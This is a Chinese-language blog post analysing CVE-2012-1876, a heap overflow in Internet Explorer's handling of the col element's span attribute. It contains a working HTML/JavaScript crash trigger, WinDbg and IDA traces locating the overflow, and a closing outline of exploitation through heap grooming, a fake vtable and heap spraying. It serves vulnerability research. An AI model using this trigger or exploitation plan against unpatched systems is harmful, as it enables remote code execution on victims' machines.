CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
        Microsoft Internet Explorer 6至9版本中存在漏洞,该漏洞源于未正确处理内存中的对象。远程攻击者可利用该漏洞通过试图访问不存在的对象执行任意代码。也称“Col元素远程代码执行漏洞”。

 <html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
 </table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 </script>
 </body>
 </html>

调试环境为win7+未打补丁的win7,使用windbg +ust +hpa .childdbg 1加载poc,crash信息如下

1:020> r
eax=00000009 ebx=00001806 ecx=00010049 edx=0000000c esi=0d960ffc edi=0d961014
eip=66b1f167 esp=0461d7a8 ebp=0461d7b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
66b1f167 890f            mov     dword ptr [edi],ecx  ds:0023:0d961014=????????

因为是已开启页堆的情况下进行的调试的,所以猜测是触发了栅栏页引发的异常。看下edi的信息,如下。发现edi在堆d960f00中,堆底为d960ffc。而edi为0d961014差距还是很大的,同时此块堆只有分配记录没有释放记录说明不可能是UAF漏洞,又因为是写操作引起的那么应该就是堆的溢出.

1:020> dc edi
0d961014  ???????? ???????? ???????? ????????  ????????????????
0d961024  ???????? ???????? ???????? ????????  ????????????????
0d961034  ???????? ???????? ???????? ????????  ????????????????
0d961044  ???????? ???????? ???????? ????????  ????????????????
0d961054  ???????? ???????? ???????? ????????  ????????????????
0d961064  ???????? ???????? ???????? ????????  ????????????????
0d961074  ???????? ???????? ???????? ????????  ????????????????
0d961084  ???????? ???????? ???????? ????????  ????????????????
1:020> !heap -p -a edi
    address 0d961014 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 bdd1270:          d960f00               fc -          d960000             2000
    73b88e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77917d96 ntdll!RtlpAllocateHeap+0x000000c4
    778e34ca ntdll!RtlAllocateHeap+0x0000023a
    668a6c94 mshtml!_HeapRealloc+0x00000036
    668c8ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
    668002f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
    66800713 mshtml!CTableLayout::CalculateLayout+0x00000276
    667eaf19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
    668dcc48 mshtml!CLayout::CalcSize+0x000002b8
    668cf5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
    668cf31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
    668cf664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
    668cfb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
    70bd665d msls31!ProcessOneRun+0x000003e9
    70bd6399 msls31!FetchAppendEscCore+0x0000018e
    70bd6252 msls31!LsDestroyLine+0x0000047f
    70bd61c3 msls31!LsDestroyLine+0x000009ff
    70bd293f msls31!LsCreateLine+0x000000cb
    668cdd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
    668e17cc mshtml!CLSMeasurer::LSMeasure+0x00000034
    668e1ef5 mshtml!CLSMeasurer::Measure+0x000001e6
    668e1db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
    668e11a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
    6690a8f6 mshtml!CDisplay::RecalcLines+0x000008bb
    669b490f mshtml!CDisplay::WaitForRecalc+0x00000209
    6694d534 mshtml!CFlowLayout::Notify+0x000007de
    668b7515 mshtml!NotifyElement+0x00000041
    668b727c mshtml!CMarkup::Notify+0x000000d6
    668dc06c mshtml!CElement::SendNotification+0x0000004a
    66947e44 mshtml!CElement::EnsureRecalcNotify+0x0000015f
    668806e5 mshtml!CDisplayPointer::MoveUnit+0x000002b2

我们来kp看一下栈回溯,不对,应该看下kv的,注意下参数的传递

1:020> kp
ChildEBP RetAddr  
0461d7b4 66995b8e mshtml!CTableColCalc::AdjustForCol+0x15
0461d864 66800713 mshtml!CTableLayout::CalculateMinMax+0x52f
0461da80 667eaf19 mshtml!CTableLayout::CalculateLayout+0x276
0461dc2c 668dcc48 mshtml!CTableLayout::CalcSizeVirtual+0x720
0461dd64 668cf5d0 mshtml!CLayout::CalcSize+0x2b8
0461de28 668cf31d mshtml!CFlowLayout::MeasureSite+0x312
0461de70 668cf664 mshtml!CFlowLayout::GetSiteWidth+0x156
0461deb0 668cfb40 mshtml!CLSMeasurer::GetSiteWidth+0xce
0461df34 70bd665d mshtml!CEmbeddedILSObj::Fmt+0x150
0461dfc4 70bd6399 msls31!ProcessOneRun+0x3e9
0461e020 70bd6252 msls31!FetchAppendEscCore+0x18e
0461e074 70bd61c3 msls31!LsDestroyLine+0x47f
0461e0fc 70bd293f msls31!LsDestroyLine+0x9ff
0461e138 668cdd81 msls31!LsCreateLine+0xcb
0461e288 668e17cc mshtml!CLSMeasurer::LSDoCreateLine+0x127
0461e32c 668e1ef5 mshtml!CLSMeasurer::LSMeasure+0x34
0461e374 668e1db1 mshtml!CLSMeasurer::Measure+0x1e6
0461e398 668e11a2 mshtml!CLSMeasurer::MeasureLine+0x1c
0461e448 6690a8f6 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0461ec50 669b490f mshtml!CDisplay::RecalcLines+0x8bb
1:020> kv
ChildEBP RetAddr  Args to Child              
0461d7b4 66995b8e 00001806 0461daf8 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0461d864 66800713 00000009 0461daf8 00000013 mshtml!CTableLayout::CalculateMinMax+0x52f
0461da80 667eaf19 0461daf8 0461dac4 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0461dc2c 668dcc48 0461ec90 0461de58 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0461dd64 668cf5d0 0b11aea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0461de28 668cf31d 0b11aea8 0002469e 0002469e mshtml!CFlowLayout::MeasureSite+0x312
0461de70 668cf664 1868bf00 00000061 0461ec90 mshtml!CFlowLayout::GetSiteWidth+0x156
0461deb0 668cfb40 0a3ecfb0 0b11aea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
0461df34 70bd665d 1340aff8 0461df54 0461e018 mshtml!CEmbeddedILSObj::Fmt+0x150
0461dfc4 70bd6399 1277aefc 00000000 133e3d20 msls31!ProcessOneRun+0x3e9 (FPO: [Non-Fpo])
0461e020 70bd6252 1277af18 000258dd 00000000 msls31!FetchAppendEscCore+0x18e (FPO: [Non-Fpo])
0461e074 70bd61c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f (FPO: [Non-Fpo])
0461e0fc 70bd293f 00000937 00003a44 00000000 msls31!LsDestroyLine+0x9ff (FPO: [Non-Fpo])
0461e138 668cdd81 00000001 00000937 00003a44 msls31!LsCreateLine+0xcb (FPO: [Non-Fpo])
0461e288 668e17cc 0461ec90 00000937 0a3ecfc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
0461e32c 668e1ef5 0461eb90 0002469e 00000000 mshtml!CLSMeasurer::LSMeasure+0x34
0461e374 668e1db1 00000000 00025256 00000003 mshtml!CLSMeasurer::Measure+0x1e6
0461e398 668e11a2 00025256 00000003 1868bf40 mshtml!CLSMeasurer::MeasureLine+0x1c
0461e448 6690a8f6 0461e968 0b47d9f0 00000003 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0461ec50 669b490f 0461ec90 000003e9 0000055e mshtml!CDisplay::RecalcLines+0x8bb

看下这个模块的信息,抓出来这个模块到ida中看下流程。

1:020> lmm mshtml v
start    end        module name
666f0000 66ca2000   mshtml     (pdb symbols)          C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
    Loaded symbol image file: C:\Windows\System32\mshtml.dll
    Image path: C:\Windows\System32\mshtml.dll
    Image name: mshtml.dll
    Timestamp:        Tue Jul 14 09:08:26 2009 (4A5BDA8A)
    CheckSum:         005BE1C8
    ImageSize:        005B2000
    File version:     8.0.7600.16385
    Product version:  8.0.7600.16385
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     MSHTML
    OriginalFilename: MSHTML.DLL
    ProductVersion:   8.00.7600.16385
    FileVersion:      8.00.7600.16385 (win7_rtm.090713-1255)
    FileDescription:  Microsoft (R) HTML Viewer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

 结果发现模块加载的基址不一样,没法直接在IDA中跳过去。看下在IE进程里加载的基地址,如下。66b1f167-666f0000= 42F167,而IDA为如图74C20000+42F167=7504F167。

1:020> lm
start    end        module name
01360000 01406000   iexplore   (deferred)             
666f0000 66ca2000   mshtml     (pdb symbols)          C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
69b00000 69bb2000   jscript    (deferred)             
6b490000 6bf0c000   IEFRAME    (deferred)             
6e400000 6e43c000   OLEACC     (deferred)             
6eac0000 6eaee000   MLANG      (deferred)             
6ef90000 6ef96000   sensapi    (deferred)             
6f060000 6f0b2000   RASAPI32   (deferred)             
6f4c0000 6f4eb000   ieproxy    (deferred)             
70550000 70582000   WINMM      (deferred)             
70710000 70714000   ksuser     (deferred)             
70720000 70750000   wdmaud     (deferred)             
70af0000 70b25000   IEShims    (deferred)             
70bc0000 70bc6000   rasadhlp   (deferred)             
70bd0000 70bfa000   msls31     (pdb symbols)          C:\symbols\msls31.pdb\7919161B84F0418F9FCD19A720CF43902\msls31.pdb
71190000 711c0000   iepeers    (deferred)             
711e0000 71216000   AUDIOSES   (deferred)             
72140000 72178000   fwpuclnt   (deferred)             
72630000 72636000   IconCodecService   (deferred)             
72640000 726af000   ntshrui    (deferred)             
726b0000 726bb000   CSCAPI     (deferred)             
726c0000 726c9000   CSCDLL     (deferred)             
726d0000 7273a000   cscui      (deferred)             
72740000 72771000   EhStorShell   (deferred)             
72920000 72927000   WINNSI     (deferred)             
72930000 7294c000   iphlpapi   (deferred)             
72e10000 72e61000   WINSPOOL   (deferred)             
73390000 733a5000   rasman     (deferred)             
73b80000 73be0000   verifier   (pdb symbols)          C:\symbols\verifier.pdb\8878279C450C4F4DA6B252A4B824B4981\verifier.pdb
73cb0000 73cbe000   pngfilt    (deferred)             
73cc0000 73ccb000   msimtf     (deferred)             
73d00000 73d0b000   ImgUtil    (deferred)             
73da0000 73dad000   rtutils    (deferred)             
73f60000 73f67000   midimap    (deferred)             
73f70000 73f84000   MSACM32_73f70000   (deferred)             
73f90000 73f98000   msacm32    (deferred)             
73fd0000 740cb000   WindowsCodecs   (deferred)             
74160000 7416a000   slc        (deferred)             
74170000 74182000   pnrpnsp    (deferred)             
741a0000 741ad000   wshbth     (deferred)             
741b0000 741c0000   napinsp    (deferred)             
741c0000 741c8000   winrnr     (deferred)             
74360000 74381000   ntmarta    (deferred)             
74390000 743bf000   XmlLite    (deferred)             
743c0000 743d3000   dwmapi     (deferred)             
74510000 746a0000   gdiplus    (deferred)             
746a0000 7483e000   comctl32   (deferred)             
74840000 74850000   NLAapi     (deferred)             
74860000 748a0000   uxtheme    (deferred)             
74bd0000 74bd7000   AVRT       (deferred)             
74be0000 74cd5000   propsys    (deferred)             
74ce0000 74d19000   MMDevAPI   (deferred)             
74ee0000 74ee9000   VERSION    (deferred)             
74f70000 74f75000   wshtcpip   (deferred)             
75200000 7523b000   rsaenh     (deferred)             
752e0000 75324000   dnsapi     (deferred)             
75410000 75416000   wship6     (deferred)             
75420000 7545c000   mswsock    (deferred)             
75460000 75476000   CRYPTSP    (deferred)             
75570000 75589000   srvcli     (deferred)             
758c0000 758da000   SspiCli    (deferred)             
758e0000 7592b000   apphelp    (deferred)             
75930000 7593c000   CRYPTBASE   (deferred)             
75940000 7599f000   SXS        (deferred)             
759d0000 759de000   RpcRtRemote   (deferred)             
759e0000 759eb000   profapi    (deferred)             
75a50000 75a5c000   MSASN1     (deferred)             
75a60000 75ae4000   COMCTL32_75a60000   (deferred)             
75af0000 75b02000   DEVOBJ     (deferred)             
75b10000 75c2c000   CRYPT32    (deferred)             
75c30000 75c7a000   KERNELBASE   (deferred)             
75cb0000 75cd7000   CFGMGR32   (deferred)             
75ce0000 75d2e000   GDI32      (deferred)             
75d30000 75d49000   sechost    (deferred)             
75d50000 75eac000   ole32      (deferred)             
75eb0000 75f79000   USER32     (deferred)             
75f80000 7602c000   msvcrt     (deferred)             
76030000 76c79000   SHELL32    (deferred)             
76c80000 76cfb000   comdlg32   (deferred)             
76d00000 76d83000   CLBCatQ    (deferred)             
76dc0000 76ef5000   urlmon     (deferred)             
76f00000 76fa1000   RPCRT4     (deferred)             
76fb0000 77084000   kernel32   (deferred)             
77090000 7722d000   SETUPAPI   (deferred)             
77230000 772bf000   OLEAUT32   (deferred)             
772c0000 77360000   ADVAPI32   (deferred)             
77360000 773fd000   USP10      (deferred)             
77460000 7752c000   MSCTF      (deferred)             
77530000 77587000   SHLWAPI    (deferred)             
77590000 77789000   iertutil   (deferred)             
77790000 77884000   WININET    (deferred)             
77890000 779cc000   ntdll      (pdb symbols)          C:\symbols\ntdll.pdb\F0164DA71FAF4765B8F3DB4F2D7650EA2\ntdll.pdb
779d0000 779d5000   PSAPI      (deferred)             
779e0000 779e3000   Normaliz   (deferred)             
779f0000 77a0f000   IMM32      (deferred)             
77a10000 77a16000   NSI        (deferred)             
77a20000 77a65000   WLDAP32    (deferred)             
77a70000 77a7a000   LPK        (deferred)             
77a80000 77ab5000   ws2_32     (deferred)             

得到了函数如下,我们可以看到edi=esi+0x18。而esi没有处理,说明是上层函数传递过来的。

; Attributes: bp-based frame

sub_7504F152 proc near

arg_0= dword ptr  8
arg_4= dword ptr  0Ch
arg_8= dword ptr  10h

mov     edi, edi
push    ebp
mov     ebp, esp
mov     ecx, [eax]
push    ebx
mov     ebx, [ebp+arg_0]
push    edi
mov     eax, ecx
and     eax, 0Fh
lea     edi, [esi+18h]
push    eax
mov     [edi], ecx

我们看下上层函数66995b8e-666f0000= 2A5B8E,2A5B8E+74C20000=74EC5B8E。首先esi来自于局部变量,在看下var_24的值

 

mov     esi, [ebp+var_24]
push    [ebp+var_C]
call    sub_7504F152

如果去跟进CTableLayout::CalculateMinMax函数,也就是crash函数的上层函数可以发现一些东西。首先是这个函数的第一个参数的意义

2:029> dc esp
046ae190  65bb0713 08100ea8 046ae420 00000000  ...e.... .j.....
046ae1a0  00000000 08100ea8 08100ea8 7777517e  ............~Qww
046ae1b0  77737d96 00050000 00000000 ffffffff  .}sw............
046ae1c0  00000000 00000000 00000000 00000000  ................
046ae1d0  00000000 ffffffff 00000000 0045852c  ............,.E.
046ae1e0  00000000 00000000 7776c3a9 046ae208  ..........vw..j.
046ae1f0  00000000 00000000 00000000 0760afe0  ..............`.
046ae200  00000000 00000000 046ae2a8 7776c979  ..........j.y.vw
2:029> dc 08100ea8 
08100ea8  65aa9868 047a5f30 084adfb8 65c64918  h..e0_z...J..I.e
08100eb8  00000001 00000000 0108080d ffffffff  ................
08100ec8  00000000 00000000 00000000 ffffffff  ................
08100ed8  0002783a 00011d8c 00000000 00000000  :x..............
08100ee8  00000000 00412802 00000000 00000000  .....(A.........
08100ef8  00000000 00000001 ffffffff ffffffff  ................
08100f08  ffffffff ffffffff 65aa9fd0 00000004  ...........e....
08100f18  00000004 08120ff0 65aa9fd0 00000004  ...........e....
2:029> ln 65aa9868 
(65aa9868)   mshtml!CTableLayout::`vftable'   |  (65aa99a8)   mshtml!CTableLayoutBlock::`vftable'
Exact matches:
    mshtml!CTableLayout::`vftable' = <no type information>

由此可见arg1就是CTableLayout对象的指针。而这个对象对应的其实就是<table>标签。接着往下跟会发现又取用了此对象中的一个成员,如下

2:029> p
eax=00000000 ebx=08100ea8 ecx=00412802 edx=ffffffff esi=046ae420 edi=046ae3ec
eip=65bb01a6 esp=046ae0f4 ebp=046ae18c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x1c:
65bb01a6 8b4354          mov     eax,dword ptr [ebx+54h] ds:0023:08100efc=00000001

据说,这个值代表span属性的个数,那么根据poc就是1了。然后后面还有一个取用对象成员的语句,如下。

2:029> 
eax=00000000 ebx=08100ea8 ecx=00000000 edx=00000001 esi=046adc38 edi=00000000
eip=65bb02cc esp=046ad908 ebp=046ad9a4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b1:
65bb02cc 8b8394000000    mov     eax,dword ptr [ebx+94h] ds:0023:08100f3c=00000004

又据说,这个值用来与span的个数做比较,叫做spancmp,然后又调用了一个分配内存的函数

.text:74DF8FB7 ; int __stdcall CImplAry::EnsureSizeWorker(size_t)
.text:74DF8FB7 ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z proc near
.text:74DF8FB7                                         ; CODE XREF: CSelectionRenderingServiceProvider::GetSelectionChunksForLayout(CFlowLayout *,CRenderInfo *,CDataAry<HighlightSegment> *,int *,int *)-6B92p
.text:74DF8FB7                                         ; CView::DeferTransition(COleSite *)+3Fp ...
.text:74DF8FB7
.text:74DF8FB7 dwBytes         = dword ptr -8
.text:74DF8FB7 var_4           = dword ptr -4
.text:74DF8FB7 arg_0           = dword ptr  8
.text:74DF8FB7
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E02CB4 SIZE 00000036 BYTES
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E3BEEC SIZE 0000003D BYTES
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74EBD6E7 SIZE 0000000D BYTES
.text:74DF8FB7
.text:74DF8FB7                 mov     edi, edi
.text:74DF8FB9                 push    ebp
.text:74DF8FBA                 mov     ebp, esp
.text:74DF8FBC                 push    ecx
.text:74DF8FBD                 push    ecx
.text:74DF8FBE                 push    ebx
.text:74DF8FBF                 push    esi
.text:74DF8FC0                 mov     esi, eax
.text:74DF8FC2                 push    4
.text:74DF8FC4                 pop     eax
.text:74DF8FC5                 mov     [ebp+var_4], eax
.text:74DF8FC8                 cmp     esi, eax
.text:74DF8FCA                 jnb     loc_74E02CB4
.text:74DF8FD0
.text:74DF8FD0 loc_74DF8FD0:                           ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+9D00j
.text:74DF8FD0                                         ; CImplAry::EnsureSizeWorker(uint,long)+9D25j ...
.text:74DF8FD0                 mov     eax, [ebp+var_4]
.text:74DF8FD3                 mul     [ebp+arg_0]
.text:74DF8FD6                 push    edx
.text:74DF8FD7                 push    eax
.text:74DF8FD8                 lea     eax, [ebp+dwBytes]
.text:74DF8FDB                 call    ?ULongLongToUInt@@YGJ_KPAI@Z ; ULongLongToUInt(unsigned __int64,uint *)
.text:74DF8FE0                 mov     ebx, eax
.text:74DF8FE2                 test    ebx, ebx
.text:74DF8FE4                 jnz     short loc_74DF900B
.text:74DF8FE6                 test    byte ptr [edi+4], 2
.text:74DF8FEA                 jnz     loc_74E3BEEC
.text:74DF8FF0                 push    [ebp+dwBytes]   ; dwBytes
.text:74DF8FF3                 lea     esi, [edi+0Ch]
.text:74DF8FF6                 call    ?_HeapRealloc@@YGJPAPAXI@Z ; _HeapRealloc(void * *,uint)
.text:74DF8FFB                 mov     ebx, eax
.text:74DF8FFD                 test    ebx, ebx
.text:74DF8FFF                 jnz     short loc_74DF900B
.text:74DF9001
.text:74DF9001 loc_74DF9001:                           ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+42F6Dj
.text:74DF9001                 mov     eax, [ebp+var_4]
.text:74DF9004                 and     dword ptr [edi+4], 0FFFFFFFDh
.text:74DF9008                 mov     [edi+8], eax
.text:74DF900B
.text:74DF900B loc_74DF900B:                           ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+2Dj
.text:74DF900B                                         ; CImplAry::EnsureSizeWorker(uint,long)+48j ...
.text:74DF900B                 pop     esi
.text:74DF900C                 mov     eax, ebx
.text:74DF900E                 pop     ebx
.text:74DF900F                 leave
.text:74DF9010                 retn    4

由于我没有对于IE对象的知识只好跟着泉哥的分析走,如下

  • crash函数的上层函数CTableLayout::CalculateMinMax的第一个参数为<table>的对象CtableLayout,由于一直在使用[ebx+xx]的形式索引值所以可以依据这个来推断。
  • CtableLayout+0x54是spannum就是span属性的值,为1
  • CtableLayout+0x9C是分配的堆的指针,是上面那个函数分配的(泉哥写的是0x90,但是根据调试结果来看是0x9C应该是印刷错误)
  • CtableLayout+0x94是泉哥所说的用来与spannum比较的spancmp,这个值为4

值得注意的一点是,上面这一切的操作都是poc的起始几句话所引起的,也就是一个对应的关系。

 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
 </table>

这个也就是为什么会有span等于1,我们先整理一下数据。

CtableLayout+0x54=1,如下

2:029> dc 08100ea8+0x54 l1
08100efc  00000001                             ....

CtableLayout+0x94=4,如下

2:029> dc 08100ea8+0x94 l1
08100f3c  00000004                             ....
2:029> dc 08100ea8+0x9c l1
08100f44  07e34f90                             .O..
2:029> !heap -p -a 07e34f90                             
    address 07e34f90 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7dd0548:          7e34f90               70 -          7e34000             2000
    77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77737d96 ntdll!RtlpAllocateHeap+0x000000c4
    777034ca ntdll!RtlAllocateHeap+0x0000023a
    65c56c94 mshtml!_HeapRealloc+0x00000036
    65c78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
    65bb02f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
    65bb0713 mshtml!CTableLayout::CalculateLayout+0x00000276
    65b9af19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
    65c8cc48 mshtml!CLayout::CalcSize+0x000002b8
    65c7f5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
    65c7f31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
    65c7f664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
    65c7fb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
    6f91665d msls31!ProcessOneRun+0x000003e9
    6f916399 msls31!FetchAppendEscCore+0x0000018e
    6f916252 msls31!LsDestroyLine+0x0000047f
    6f9161c3 msls31!LsDestroyLine+0x000009ff
    6f91293f msls31!LsCreateLine+0x000000cb
    65c7dd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
    65c917cc mshtml!CLSMeasurer::LSMeasure+0x00000034
    65c91ef5 mshtml!CLSMeasurer::Measure+0x000001e6
    65c91db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
    65c911a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
    65c933d9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x00000440
    65c930eb mshtml!CDisplay::RecalcLines+0x0000006b
    65c93015 mshtml!CDisplay::RecalcView+0x0000006d
    65c92fc8 mshtml!CFlowLayout::CalcTextSize+0x0000043d
    65b9eb06 mshtml!CFlowLayout::CalcSizeCoreCompat+0x00001045
    65c902ee mshtml!CFlowLayout::CalcSizeCore+0x00000049
    65c90367 mshtml!CBodyLayout::CalcSizeCore+0x000000d8
    65c9029c mshtml!CFlowLayout::CalcSizeVirtual+0x000001af

CtableLayout+0x9C就是上面分配的堆指针。根据信息可以看到是0x70大小。

之后会因为function over_trigger()函数的调用,又一次进入到crash函数的上层函数里,所以上面我们才要进行一下区分。如下所示是调用获取span值的函数,eax为返回值为1000正好对应了我设置的 obj_col.span = 1000;

call    ?GetAAspan@CTableCol@@QBEHXZ ; CTableCol::GetAAspan(void)
2:028> p
eax=000003e8 ebx=07cd0ea8 ecx=00000002 edx=07cf2ff0 esi=05dd4fac edi=07d04fd0
eip=65d45a33 esp=0442d9b8 ebp=0442da54 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
65d45a33 3de8030000      cmp     eax,3E8h

然后执行了获取要复制的长度的函数

.text:74EC5AB3                 call    ?GetPixelWidth@CWidthUnitValue@@QBEHPBVCDocInfo@@PAVCElement@@H@Z ; CWidthUnitValue::GetPixelWidth(CDocInfo const *,CElement *,int)
.text:74EC5AB8                 cmp     [ebp+var_5C], 0
.text:74EC5ABC                 mov     [ebp+var_2C], eax

 总结就是span在第一次时分配了内存而第二次时并没有,造成了往4*0x1c的内存中写入1000*0x1c数据的情况。

漏洞利用

关于漏洞利用,对于漏洞利用其实我们只需要清楚这几点

1.写入的内容:width*100

2.写入的长度:span*0x1C

3.造成溢出的内存块:table标签为span属性分配的大小为0x70的堆内存,此内存的地址储存在table标签对应的C++对象——CtableLayout对象的0x9C偏移处。

那么利用的思路就是先释放一批0x70的堆块,然后让溢出堆块去占用它们。这样溢出发生后就可以指定的去溢出目标了,这样可以溢出后面一个对象然后伪造虚表+堆喷就可以了。

posted @ 2016-07-29 14:16  Ox9A82  阅读(1094)  评论(0编辑  收藏